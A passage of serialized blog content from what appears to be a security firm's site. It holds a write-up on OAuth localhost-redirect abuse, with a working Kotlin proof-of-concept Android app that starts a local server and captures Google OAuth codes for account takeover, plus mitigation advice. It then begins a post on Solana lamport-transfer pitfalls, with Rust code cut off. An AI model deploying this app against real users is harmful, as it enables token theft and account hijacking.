",{"type":23,"tag":64,"props":68249,"children":68252},{"href":68250,"rel":68251},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[68],[68253],{"type":28,"value":68254},"Remote Code Execution",{"type":28,"value":68256}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":23,"tag":24,"props":68258,"children":68259},{},[68260,68262,68268],{"type":28,"value":68261},"In one of our client's implementations, we identified that ",{"type":23,"tag":135,"props":68263,"children":68265},{"className":68264},[],[68266],{"type":28,"value":68267},"localhost:3000",{"type":28,"value":68269}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":23,"tag":24,"props":68271,"children":68272},{},[68273],{"type":28,"value":68274},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":23,"tag":128,"props":68276,"children":68280},{"className":68277,"code":68278,"language":68279,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[68281],{"type":23,"tag":135,"props":68282,"children":68283},{"__ignoreMap":7},[68284],{"type":23,"tag":139,"props":68285,"children":68286},{"class":141,"line":142},[68287],{"type":23,"tag":139,"props":68288,"children":68289},{},[68290],{"type":28,"value":68278},{"type":23,"tag":24,"props":68292,"children":68293},{},[68294],{"type":28,"value":68295},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":23,"tag":128,"props":68297,"children":68301},{"className":68298,"code":68299,"language":68300,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[68302],{"type":23,"tag":135,"props":68303,"children":68304},{"__ignoreMap":7},[68305,68332,68339,68371,68393,68400,68408,68430,68442,68454,68489,68515,68565,68572,68579,68586,68594,68616,68651,68664,68671,68678,68699,68725,68737,68758,68775,68787,68813,68852,68873,68881,68893,68918,68930,68943,68951,68958,68966,68974,68981,69011,69018],{"type":23,"tag":139,"props":68306,"children":68307},{"class":141,"line":142},[68308,68313,68318,68323,68328],{"type":23,"tag":139,"props":68309,"children":68310},{"style":279},[68311],{"type":28,"value":68312},"class",{"type":23,"tag":139,"props":68314,"children":68315},{"style":305},[68316],{"type":28,"value":68317}," MainActivity",{"type":23,"tag":139,"props":68319,"children":68320},{"style":259},[68321],{"type":28,"value":68322}," : ",{"type":23,"tag":139,"props":68324,"children":68325},{"style":305},[68326],{"type":28,"value":68327},"AppCompatActivity",{"type":23,"tag":139,"props":68329,"children":68330},{"style":259},[68331],{"type":28,"value":13747},{"type":23,"tag":139,"props":68333,"children":68334},{"class":141,"line":151},[68335],{"type":23,"tag":139,"props":68336,"children":68337},{"emptyLinePlaceholder":15},[68338],{"type":28,"value":184},{"type":23,"tag":139,"props":68340,"children":68341},{"class":141,"line":160},[68342,68347,68351,68356,68361,68366],{"type":23,"tag":139,"props":68343,"children":68344},{"style":279},[68345],{"type":28,"value":68346},"    override",{"type":23,"tag":139,"props":68348,"children":68349},{"style":279},[68350],{"type":28,"value":4210},{"type":23,"tag":139,"props":68352,"children":68353},{"style":245},[68354],{"type":28,"value":68355}," onCreate",{"type":23,"tag":139,"props":68357,"children":68358},{"style":259},[68359],{"type":28,"value":68360},"(savedInstanceState: ",{"type":23,"tag":139,"props":68362,"children":68363},{"style":305},[68364],{"type":28,"value":68365},"Bundle",{"type":23,"tag":139,"props":68367,"children":68368},{"style":259},[68369],{"type":28,"value":68370},"?) {\n",{"type":23,"tag":139,"props":68372,"children":68373},{"class":141,"line":169},[68374,68379,68383,68388],{"type":23,"tag":139,"props":68375,"children":68376},{"style":279},[68377],{"type":28,"value":68378},"        super",{"type":23,"tag":139,"props":68380,"children":68381},{"style":259},[68382],{"type":28,"value":73},{"type":23,"tag":139,"props":68384,"children":68385},{"style":245},[68386],{"type":28,"value":68387},"onCreate",{"type":23,"tag":139,"props":68389,"children":68390},{"style":259},[68391],{"type":28,"value":68392},"(savedInstanceState)\n",{"type":23,"tag":139,"props":68394,"children":68395},{"class":141,"line":178},[68396],{"type":23,"tag":139,"props":68397,"children":68398},{"emptyLinePlaceholder":15},[68399],{"type":28,"value":184},{"type":23,"tag":139,"props":68401,"children":68402},{"class":141,"line":187},[68403],{"type":23,"tag":139,"props":68404,"children":68405},{"style":958},[68406],{"type":28,"value":68407},"        // Start the Ktor web server\n",{"type":23,"tag":139,"props":68409,"children":68410},{"class":141,"line":196},[68411,68416,68421,68426],{"type":23,"tag":139,"props":68412,"children":68413},{"style":245},[68414],{"type":28,"value":68415},"        CoroutineScope",{"type":23,"tag":139,"props":68417,"children":68418},{"style":259},[68419],{"type":28,"value":68420},"(Dispatchers.IO).",{"type":23,"tag":139,"props":68422,"children":68423},{"style":245},[68424],{"type":28,"value":68425},"launch",{"type":23,"tag":139,"props":68427,"children":68428},{"style":259},[68429],{"type":28,"value":1268},{"type":23,"tag":139,"props":68431,"children":68432},{"class":141,"line":205},[68433,68438],{"type":23,"tag":139,"props":68434,"children":68435},{"style":319},[68436],{"type":28,"value":68437},"            try",{"type":23,"tag":139,"props":68439,"children":68440},{"style":259},[68441],{"type":28,"value":1268},{"type":23,"tag":139,"props":68443,"children":68444},{"class":141,"line":214},[68445,68450],{"type":23,"tag":139,"props":68446,"children":68447},{"style":245},[68448],{"type":28,"value":68449},"                startWebServer",{"type":23,"tag":139,"props":68451,"children":68452},{"style":259},[68453],{"type":28,"value":5739},{"type":23,"tag":139,"props":68455,"children":68456},{"class":141,"line":1320},[68457,68462,68467,68471,68476,68480,68485],{"type":23,"tag":139,"props":68458,"children":68459},{"style":259},[68460],{"type":28,"value":68461},"                Log.",{"type":23,"tag":139,"props":68463,"children":68464},{"style":245},[68465],{"type":28,"value":68466},"d",{"type":23,"tag":139,"props":68468,"children":68469},{"style":259},[68470],{"type":28,"value":262},{"type":23,"tag":139,"props":68472,"children":68473},{"style":265},[68474],{"type":28,"value":68475},"\"WebServer\"",{"type":23,"tag":139,"props":68477,"children":68478},{"style":259},[68479],{"type":28,"value":1052},{"type":23,"tag":139,"props":68481,"children":68482},{"style":265},[68483],{"type":28,"value":68484},"\"Server started on http://localhost:3000\"",{"type":23,"tag":139,"props":68486,"children":68487},{"style":259},[68488],{"type":28,"value":273},{"type":23,"tag":139,"props":68490,"children":68491},{"class":141,"line":1329},[68492,68497,68501,68506,68511],{"type":23,"tag":139,"props":68493,"children":68494},{"style":259},[68495],{"type":28,"value":68496},"            } ",{"type":23,"tag":139,"props":68498,"children":68499},{"style":279},[68500],{"type":28,"value":46308},{"type":23,"tag":139,"props":68502,"children":68503},{"style":259},[68504],{"type":28,"value":68505}," (e: ",{"type":23,"tag":139,"props":68507,"children":68508},{"style":305},[68509],{"type":28,"value":68510},"Exception",{"type":23,"tag":139,"props":68512,"children":68513},{"style":259},[68514],{"type":28,"value":12815},{"type":23,"tag":139,"props":68516,"children":68517},{"class":141,"line":1580},[68518,68522,68526,68530,68534,68538,68543,68547,68552,68556,68560],{"type":23,"tag":139,"props":68519,"children":68520},{"style":259},[68521],{"type":28,"value":68461},{"type":23,"tag":139,"props":68523,"children":68524},{"style":245},[68525],{"type":28,"value":49352},{"type":23,"tag":139,"props":68527,"children":68528},{"style":259},[68529],{"type":28,"value":262},{"type":23,"tag":139,"props":68531,"children":68532},{"style":265},[68533],{"type":28,"value":68475},{"type":23,"tag":139,"props":68535,"children":68536},{"style":259},[68537],{"type":28,"value":1052},{"type":23,"tag":139,"props":68539,"children":68540},{"style":265},[68541],{"type":28,"value":68542},"\"Error starting server: ",{"type":23,"tag":139,"props":68544,"children":68545},{"style":279},[68546],{"type":28,"value":31997},{"type":23,"tag":139,"props":68548,"children":68549},{"style":982},[68550],{"type":28,"value":68551},"e.message",{"type":23,"tag":139,"props":68553,"children":68554},{"style":279},[68555],{"type":28,"value":32029},{"type":23,"tag":139,"props":68557,"children":68558},{"style":265},[68559],{"type":28,"value":18067},{"type":23,"tag":139,"props":68561,"children":68562},{"style":259},[68563],{"type":28,"value":68564},", e)\n",{"type":23,"tag":139,"props":68566,"children":68567},{"class":141,"line":1597},[68568],{"type":23,"tag":139,"props":68569,"children":68570},{"style":259},[68571],{"type":28,"value":56784},{"type":23,"tag":139,"props":68573,"children":68574},{"class":141,"line":1614},[68575],{"type":23,"tag":139,"props":68576,"children":68577},{"style":259},[68578],{"type":28,"value":1326},{"type":23,"tag":139,"props":68580,"children":68581},{"class":141,"line":1627},[68582],{"type":23,"tag":139,"props":68583,"children":68584},{"emptyLinePlaceholder":15},[68585],{"type":28,"value":184},{"type":23,"tag":139,"props":68587,"children":68588},{"class":141,"line":1636},[68589],{"type":23,"tag":139,"props":68590,"children":68591},{"style":958},[68592],{"type":28,"value":68593},"        // Open the Google OAuth page\n",{"type":23,"tag":139,"props":68595,"children":68596},{"class":141,"line":1659},[68597,68602,68607,68611],{"type":23,"tag":139,"props":68598,"children":68599},{"style":279},[68600],{"type":28,"value":68601},"        val",{"type":23,"tag":139,"props":68603,"children":68604},{"style":259},[68605],{"type":28,"value":68606}," googleOAuthUrl ",{"type":23,"tag":139,"props":68608,"children":68609},{"style":982},[68610],{"type":28,"value":1067},{"type":23,"tag":139,"props":68612,"children":68613},{"style":265},[68614],{"type":28,"value":68615}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":139,"props":68617,"children":68618},{"class":141,"line":1667},[68619,68623,68628,68632,68637,68642,68646],{"type":23,"tag":139,"props":68620,"children":68621},{"style":279},[68622],{"type":28,"value":68601},{"type":23,"tag":139,"props":68624,"children":68625},{"style":259},[68626],{"type":28,"value":68627}," browserIntent ",{"type":23,"tag":139,"props":68629,"children":68630},{"style":982},[68631],{"type":28,"value":1067},{"type":23,"tag":139,"props":68633,"children":68634},{"style":245},[68635],{"type":28,"value":68636}," Intent",{"type":23,"tag":139,"props":68638,"children":68639},{"style":259},[68640],{"type":28,"value":68641},"(Intent.ACTION_VIEW, Uri.",{"type":23,"tag":139,"props":68643,"children":68644},{"style":245},[68645],{"type":28,"value":37102},{"type":23,"tag":139,"props":68647,"children":68648},{"style":259},[68649],{"type":28,"value":68650},"(googleOAuthUrl))\n",{"type":23,"tag":139,"props":68652,"children":68653},{"class":141,"line":1676},[68654,68659],{"type":23,"tag":139,"props":68655,"children":68656},{"style":245},[68657],{"type":28,"value":68658},"        startActivity",{"type":23,"tag":139,"props":68660,"children":68661},{"style":259},[68662],{"type":28,"value":68663},"(browserIntent)\n",{"type":23,"tag":139,"props":68665,"children":68666},{"class":141,"line":1745},[68667],{"type":23,"tag":139,"props":68668,"children":68669},{"style":259},[68670],{"type":28,"value":1335},{"type":23,"tag":139,"props":68672,"children":68673},{"class":141,"line":1753},[68674],{"type":23,"tag":139,"props":68675,"children":68676},{"emptyLinePlaceholder":15},[68677],{"type":28,"value":184},{"type":23,"tag":139,"props":68679,"children":68680},{"class":141,"line":1783},[68681,68686,68690,68695],{"type":23,"tag":139,"props":68682,"children":68683},{"style":279},[68684],{"type":28,"value":68685},"    private",{"type":23,"tag":139,"props":68687,"children":68688},{"style":279},[68689],{"type":28,"value":4210},{"type":23,"tag":139,"props":68691,"children":68692},{"style":245},[68693],{"type":28,"value":68694}," startWebServer",{"type":23,"tag":139,"props":68696,"children":68697},{"style":259},[68698],{"type":28,"value":13747},{"type":23,"tag":139,"props":68700,"children":68701},{"class":141,"line":1791},[68702,68707,68712,68716,68721],{"type":23,"tag":139,"props":68703,"children":68704},{"style":245},[68705],{"type":28,"value":68706},"        embeddedServer",{"type":23,"tag":139,"props":68708,"children":68709},{"style":259},[68710],{"type":28,"value":68711},"(CIO, port ",{"type":23,"tag":139,"props":68713,"children":68714},{"style":982},[68715],{"type":28,"value":1067},{"type":23,"tag":139,"props":68717,"children":68718},{"style":1016},[68719],{"type":28,"value":68720}," 3000",{"type":23,"tag":139,"props":68722,"children":68723},{"style":259},[68724],{"type":28,"value":12815},{"type":23,"tag":139,"props":68726,"children":68727},{"class":141,"line":1823},[68728,68733],{"type":23,"tag":139,"props":68729,"children":68730},{"style":245},[68731],{"type":28,"value":68732},"            routing",{"type":23,"tag":139,"props":68734,"children":68735},{"style":259},[68736],{"type":28,"value":1268},{"type":23,"tag":139,"props":68738,"children":68739},{"class":141,"line":1831},[68740,68745,68749,68754],{"type":23,"tag":139,"props":68741,"children":68742},{"style":279},[68743],{"type":28,"value":68744},"                get",{"type":23,"tag":139,"props":68746,"children":68747},{"style":259},[68748],{"type":28,"value":262},{"type":23,"tag":139,"props":68750,"children":68751},{"style":265},[68752],{"type":28,"value":68753},"\"{...}\"",{"type":23,"tag":139,"props":68755,"children":68756},{"style":259},[68757],{"type":28,"value":12815},{"type":23,"tag":139,"props":68759,"children":68760},{"class":141,"line":1891},[68761,68766,68771],{"type":23,"tag":139,"props":68762,"children":68763},{"style":259},[68764],{"type":28,"value":68765},"                    call.",{"type":23,"tag":139,"props":68767,"children":68768},{"style":245},[68769],{"type":28,"value":68770},"respondHtml",{"type":23,"tag":139,"props":68772,"children":68773},{"style":259},[68774],{"type":28,"value":1268},{"type":23,"tag":139,"props":68776,"children":68777},{"class":141,"line":7053},[68778,68783],{"type":23,"tag":139,"props":68779,"children":68780},{"style":245},[68781],{"type":28,"value":68782},"                        head",{"type":23,"tag":139,"props":68784,"children":68785},{"style":259},[68786],{"type":28,"value":1268},{"type":23,"tag":139,"props":68788,"children":68789},{"class":141,"line":7071},[68790,68795,68800,68804,68809],{"type":23,"tag":139,"props":68791,"children":68792},{"style":245},[68793],{"type":28,"value":68794},"                            meta",{"type":23,"tag":139,"props":68796,"children":68797},{"style":259},[68798],{"type":28,"value":68799},"(charset ",{"type":23,"tag":139,"props":68801,"children":68802},{"style":982},[68803],{"type":28,"value":1067},{"type":23,"tag":139,"props":68805,"children":68806},{"style":265},[68807],{"type":28,"value":68808}," \"UTF-8\"",{"type":23,"tag":139,"props":68810,"children":68811},{"style":259},[68812],{"type":28,"value":273},{"type":23,"tag":139,"props":68814,"children":68815},{"class":141,"line":7116},[68816,68820,68825,68829,68834,68839,68843,68848],{"type":23,"tag":139,"props":68817,"children":68818},{"style":245},[68819],{"type":28,"value":68794},{"type":23,"tag":139,"props":68821,"children":68822},{"style":259},[68823],{"type":28,"value":68824},"(name ",{"type":23,"tag":139,"props":68826,"children":68827},{"style":982},[68828],{"type":28,"value":1067},{"type":23,"tag":139,"props":68830,"children":68831},{"style":265},[68832],{"type":28,"value":68833}," \"viewport\"",{"type":23,"tag":139,"props":68835,"children":68836},{"style":259},[68837],{"type":28,"value":68838},", content ",{"type":23,"tag":139,"props":68840,"children":68841},{"style":982},[68842],{"type":28,"value":1067},{"type":23,"tag":139,"props":68844,"children":68845},{"style":265},[68846],{"type":28,"value":68847}," \"width=device-width, initial-scale=1.0\"",{"type":23,"tag":139,"props":68849,"children":68850},{"style":259},[68851],{"type":28,"value":273},{"type":23,"tag":139,"props":68853,"children":68854},{"class":141,"line":7222},[68855,68860,68864,68869],{"type":23,"tag":139,"props":68856,"children":68857},{"style":245},[68858],{"type":28,"value":68859},"                            title",{"type":23,"tag":139,"props":68861,"children":68862},{"style":259},[68863],{"type":28,"value":262},{"type":23,"tag":139,"props":68865,"children":68866},{"style":265},[68867],{"type":28,"value":68868},"\"OAuth Redirect\"",{"type":23,"tag":139,"props":68870,"children":68871},{"style":259},[68872],{"type":28,"value":273},{"type":23,"tag":139,"props":68874,"children":68875},{"class":141,"line":21518},[68876],{"type":23,"tag":139,"props":68877,"children":68878},{"style":259},[68879],{"type":28,"value":68880},"                        }\n",{"type":23,"tag":139,"props":68882,"children":68883},{"class":141,"line":21553},[68884,68889],{"type":23,"tag":139,"props":68885,"children":68886},{"style":245},[68887],{"type":28,"value":68888},"                        body",{"type":23,"tag":139,"props":68890,"children":68891},{"style":259},[68892],{"type":28,"value":1268},{"type":23,"tag":139,"props":68894,"children":68895},{"class":141,"line":21561},[68896,68901,68905,68909,68914],{"type":23,"tag":139,"props":68897,"children":68898},{"style":245},[68899],{"type":28,"value":68900},"                            h1",{"type":23,"tag":139,"props":68902,"children":68903},{"style":259},[68904],{"type":28,"value":7594},{"type":23,"tag":139,"props":68906,"children":68907},{"style":982},[68908],{"type":28,"value":2382},{"type":23,"tag":139,"props":68910,"children":68911},{"style":265},[68912],{"type":28,"value":68913},"\"Google OAuth Redirect\"",{"type":23,"tag":139,"props":68915,"children":68916},{"style":259},[68917],{"type":28,"value":7604},{"type":23,"tag":139,"props":68919,"children":68920},{"class":141,"line":21569},[68921,68926],{"type":23,"tag":139,"props":68922,"children":68923},{"style":245},[68924],{"type":28,"value":68925},"                            script",{"type":23,"tag":139,"props":68927,"children":68928},{"style":259},[68929],{"type":28,"value":1268},{"type":23,"tag":139,"props":68931,"children":68932},{"class":141,"line":21578},[68933,68938],{"type":23,"tag":139,"props":68934,"children":68935},{"style":982},[68936],{"type":28,"value":68937},"                                +",{"type":23,"tag":139,"props":68939,"children":68940},{"style":265},[68941],{"type":28,"value":68942},"\"document.body.innerText = location.search;\"\n",{"type":23,"tag":139,"props":68944,"children":68945},{"class":141,"line":21620},[68946],{"type":23,"tag":139,"props":68947,"children":68948},{"style":259},[68949],{"type":28,"value":68950},"                            }\n",{"type":23,"tag":139,"props":68952,"children":68953},{"class":141,"line":21653},[68954],{"type":23,"tag":139,"props":68955,"children":68956},{"style":259},[68957],{"type":28,"value":68880},{"type":23,"tag":139,"props":68959,"children":68960},{"class":141,"line":21661},[68961],{"type":23,"tag":139,"props":68962,"children":68963},{"style":259},[68964],{"type":28,"value":68965},"                    }\n",{"type":23,"tag":139,"props":68967,"children":68968},{"class":141,"line":21669},[68969],{"type":23,"tag":139,"props":68970,"children":68971},{"style":259},[68972],{"type":28,"value":68973},"                }\n",{"type":23,"tag":139,"props":68975,"children":68976},{"class":141,"line":21678},[68977],{"type":23,"tag":139,"props":68978,"children":68979},{"style":259},[68980],{"type":28,"value":56784},{"type":23,"tag":139,"props":68982,"children":68983},{"class":141,"line":21754},[68984,68989,68994,68999,69003,69007],{"type":23,"tag":139,"props":68985,"children":68986},{"style":259},[68987],{"type":28,"value":68988},"        }.",{"type":23,"tag":139,"props":68990,"children":68991},{"style":245},[68992],{"type":28,"value":68993},"start",{"type":23,"tag":139,"props":68995,"children":68996},{"style":259},[68997],{"type":28,"value":68998},"(wait ",{"type":23,"tag":139,"props":69000,"children":69001},{"style":982},[69002],{"type":28,"value":1067},{"type":23,"tag":139,"props":69004,"children":69005},{"style":279},[69006],{"type":28,"value":10480},{"type":23,"tag":139,"props":69008,"children":69009},{"style":259},[69010],{"type":28,"value":273},{"type":23,"tag":139,"props":69012,"children":69013},{"class":141,"line":21787},[69014],{"type":23,"tag":139,"props":69015,"children":69016},{"style":259},[69017],{"type":28,"value":1335},{"type":23,"tag":139,"props":69019,"children":69020},{"class":141,"line":21795},[69021],{"type":23,"tag":139,"props":69022,"children":69023},{"style":259},[69024],{"type":28,"value":1897},{"type":23,"tag":24,"props":69026,"children":69027},{},[69028],{"type":28,"value":69029},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":23,"tag":24,"props":69031,"children":69032},{},[69033],{"type":28,"value":69034},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":23,"tag":666,"props":69036,"children":69038},{"id":69037},"mitigation-1",[69039],{"type":28,"value":38227},{"type":23,"tag":24,"props":69041,"children":69042},{},[69043,69045,69050],{"type":28,"value":69044},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":23,"tag":135,"props":69046,"children":69048},{"className":69047},[],[69049],{"type":28,"value":67667},{"type":28,"value":69051}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":23,"tag":41,"props":69053,"children":69054},{"id":26955},[69055],{"type":28,"value":16955},{"type":23,"tag":24,"props":69057,"children":69058},{},[69059],{"type":28,"value":69060},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":23,"tag":24,"props":69062,"children":69063},{},[69064],{"type":28,"value":69065},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":23,"tag":817,"props":69067,"children":69068},{},[69069],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":69071},[69072,69079,69084,69087],{"id":67435,"depth":151,"text":67438,"children":69073},[69074,69075,69076,69077,69078],{"id":67446,"depth":160,"text":67449},{"id":67473,"depth":160,"text":67476},{"id":67534,"depth":160,"text":67537},{"id":67591,"depth":160,"text":67594},{"id":67690,"depth":160,"text":67693},{"id":67736,"depth":151,"text":67739,"children":69080},[69081,69082,69083],{"id":67742,"depth":160,"text":67745},{"id":67769,"depth":160,"text":67772},{"id":38224,"depth":160,"text":38227},{"id":68218,"depth":151,"text":68221,"children":69085},[69086],{"id":69037,"depth":160,"text":38227},{"id":26955,"depth":151,"text":16955},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":69092,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69093,"description":69094,"author":38343,"image":69095,"date":69097,"isFeatured":15,"tags":69098,"onBlogPage":15,"body":69099,"_type":831,"_id":73753,"_source":833,"_file":73754,"_stem":73755,"_extension":836},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":69096,"height":13,"width":13},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[848],{"type":20,"children":69100,"toc":73742},[69101,69105,69110,69124,69130,69135,69165,69170,69175,70213,70218,70226,70231,70237,70243,70255,70288,70300,70313,70325,70770,70775,70821,70827,70832,70919,70924,70938,70951,71614,71619,71631,71637,71648,71660,71814,71828,71847,71868,71874,71879,72224,72229,72235,72254,72268,72890,72895,72915,72920,72925,72931,72943,72964,73139,73145,73150,73451,73472,73484,73496,73580,73600,73612,73618,73630,73636,73641,73664,73676,73682,73694,73699,73705,73710,73715,73733,73738],{"type":23,"tag":41,"props":69102,"children":69103},{"id":27037},[69104],{"type":28,"value":27040},{"type":23,"tag":24,"props":69106,"children":69107},{},[69108],{"type":28,"value":69109},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":23,"tag":24,"props":69111,"children":69112},{},[69113,69115,69122],{"type":28,"value":69114},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":23,"tag":64,"props":69116,"children":69119},{"href":69117,"rel":69118},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[68],[69120],{"type":28,"value":69121},"King of the Ether",{"type":28,"value":69123},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":23,"tag":41,"props":69125,"children":69127},{"id":69126},"the-game-king-of-the-sol",[69128],{"type":28,"value":69129},"The Game: King of the SOL",{"type":23,"tag":24,"props":69131,"children":69132},{},[69133],{"type":28,"value":69134},"The game works like this:",{"type":23,"tag":14699,"props":69136,"children":69137},{},[69138,69150,69155,69160],{"type":23,"tag":801,"props":69139,"children":69140},{},[69141,69143,69148],{"type":28,"value":69142},"Anyone can become the ",{"type":23,"tag":56,"props":69144,"children":69145},{},[69146],{"type":28,"value":69147},"king",{"type":28,"value":69149}," by bidding at least 2× the previous bid.",{"type":23,"tag":801,"props":69151,"children":69152},{},[69153],{"type":28,"value":69154},"The old king is reimbursed 95% of their bid.",{"type":23,"tag":801,"props":69156,"children":69157},{},[69158],{"type":28,"value":69159},"The remaining 5% goes into a prize pot.",{"type":23,"tag":801,"props":69161,"children":69162},{},[69163],{"type":28,"value":69164},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":23,"tag":24,"props":69166,"children":69167},{},[69168],{"type":28,"value":69169},"Simple, right?",{"type":23,"tag":24,"props":69171,"children":69172},{},[69173],{"type":28,"value":69174},"This is the core logic:",{"type":23,"tag":128,"props":69176,"children":69178},{"className":948,"code":69177,"language":947,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[69179],{"type":23,"tag":135,"props":69180,"children":69181},{"__ignoreMap":7},[69182,69197,69225,69240,69281,69288,69296,69347,69378,69385,69393,69408,69440,69447,69462,69493,69500,69507,69515,69532,69606,69614,69675,69687,69715,69755,69767,69783,69790,69798,69872,69884,69923,69951,69963,69978,69985,69993,70063,70107,70181,70188,70199,70206],{"type":23,"tag":139,"props":69183,"children":69184},{"class":141,"line":142},[69185,69189,69193],{"type":23,"tag":139,"props":69186,"children":69187},{"style":259},[69188],{"type":28,"value":20846},{"type":23,"tag":139,"props":69190,"children":69191},{"style":305},[69192],{"type":28,"value":20851},{"type":23,"tag":139,"props":69194,"children":69195},{"style":259},[69196],{"type":28,"value":18266},{"type":23,"tag":139,"props":69198,"children":69199},{"class":141,"line":151},[69200,69204,69208,69213,69217,69221],{"type":23,"tag":139,"props":69201,"children":69202},{"style":279},[69203],{"type":28,"value":11701},{"type":23,"tag":139,"props":69205,"children":69206},{"style":279},[69207],{"type":28,"value":19159},{"type":23,"tag":139,"props":69209,"children":69210},{"style":305},[69211],{"type":28,"value":69212}," 